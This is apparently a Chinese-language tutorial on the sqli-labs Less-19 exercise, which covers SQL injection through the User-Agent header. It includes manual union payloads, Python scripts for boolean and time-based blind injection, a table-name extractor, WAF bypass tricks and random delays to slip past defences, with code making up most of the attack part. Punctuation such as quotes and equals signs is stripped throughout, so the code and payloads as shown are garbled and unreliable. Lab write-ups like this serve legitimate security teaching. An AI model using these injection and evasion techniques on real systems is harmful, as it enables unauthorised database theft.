
1. sqli-labs Less-19关卡特性分析Less-19是sqli-labs系列中典型的HTTP头部注入漏洞场景与常规GET/POST参数注入不同这个关卡专门设计用于演示User-Agent头部字段的注入攻击。实际测试发现当修改User-Agent值包含单引号时会触发数据库报错信息暴露出SQL语句拼接的结构特征。通过抓包分析可观察到后端代码大致采用如下危险写法INSERT INTO security.useragents (uagent, ip_address) VALUES ($user_agent, $remote_addr)这种直接将HTTP头部未经处理就拼接进SQL语句的做法在2000年代初期的主流CMS中相当普遍。即便在现代Web开发中如果开发者缺乏安全意识仍可能犯类似错误。2. 手工注入探测流程在实施自动化之前建议先通过手工方式确认注入点有效性。以下是具体操作步骤使用Burp Suite拦截正常请求修改User-Agent为测试payload and 11 --观察页面返回结果若显示正常说明注入语句被执行若显示数据库错误可能需要调整注释符号确认注入类型为字符型后尝试获取基本信息User-Agent: union select 1,version(),3,4 --关键技巧在于处理原始请求中的换行符。某些服务器会严格校验User-Agent格式建议先在Repeater模块测试单行payload确认无误后再用于自动化脚本。3. Python自动化脚本设计基于requests库的自动化注入脚本核心结构如下import requests from urllib.parse import quote target http://localhost/sqli-labs/Less-19/ headers { User-Agent: , X-Forwarded-For: 127.0.0.1 } def test_injection(payload): encoded quote(payload) headers[User-Agent] encoded r requests.get(target, headersheaders) return r.text # 布尔盲注检测示例 if __name__ __main__: # 检测注入点 payload and 11 res1 test_injection(payload) payload and 12 res2 test_injection(payload) if res1 ! res2: print([] 存在SQL注入漏洞)脚本需要处理的关键问题特殊字符的URL编码处理响应结果的差异化分析会话维持如需登录的场景4. 自动化注入技术实现4.1 基于时间延迟的注入当页面无差异回显时可采用时间盲注技术。以下是典型的时间盲注payloadimport time def time_based_test(payload): start time.time() test_injection(payload) elapsed time.time() - start return elapsed 5 # 根据实际网络环境调整阈值 # 检测数据库版本是否为MySQL payload AND IF(SUBSTRING(version(),1,1)5,SLEEP(5),0) AND 11 if time_based_test(payload): print([] 数据库可能是MySQL 5.x)4.2 数据提取自动化完整的数据库信息提取流程应包括获取数据库版本和用户枚举数据库名称获取指定表的字段结构导出目标表数据以下是表名枚举的实现示例import string def get_table_name(): charset string.ascii_lowercase _ table_name for i in range(1, 20): for c in charset: payload f AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 1),{i},1){c} -- if time_based_test(payload): table_name c print(f[*] 当前表名: {table_name}) break return table_name5. 防御方案与检测规避现代WAF通常会检测以下特征异常的User-Agent长度常见的SQL关键词UNION, SELECT等时间延迟函数调用绕过方案包括字符串混淆payload anD 11 -- # 大小写变形等价函数替换# 用LIKE代替等号 payload AND database() LIKE %security% --注释符变体payload /*!50000AND*/ 11 -- 6. 实战注意事项速率控制添加随机延迟避免触发防护机制import random time.sleep(random.uniform(0.5, 2))错误处理应对连接超时等网络问题try: r requests.get(target, headersheaders, timeout10) except requests.exceptions.Timeout: print([!] 请求超时)结果缓存避免重复查询已获取的信息编码问题处理非ASCII字符时的编码转换重要提示本技术仅限合法授权测试使用实际测试前务必获得书面授权。未经授权的渗透测试可能违反相关法律法规。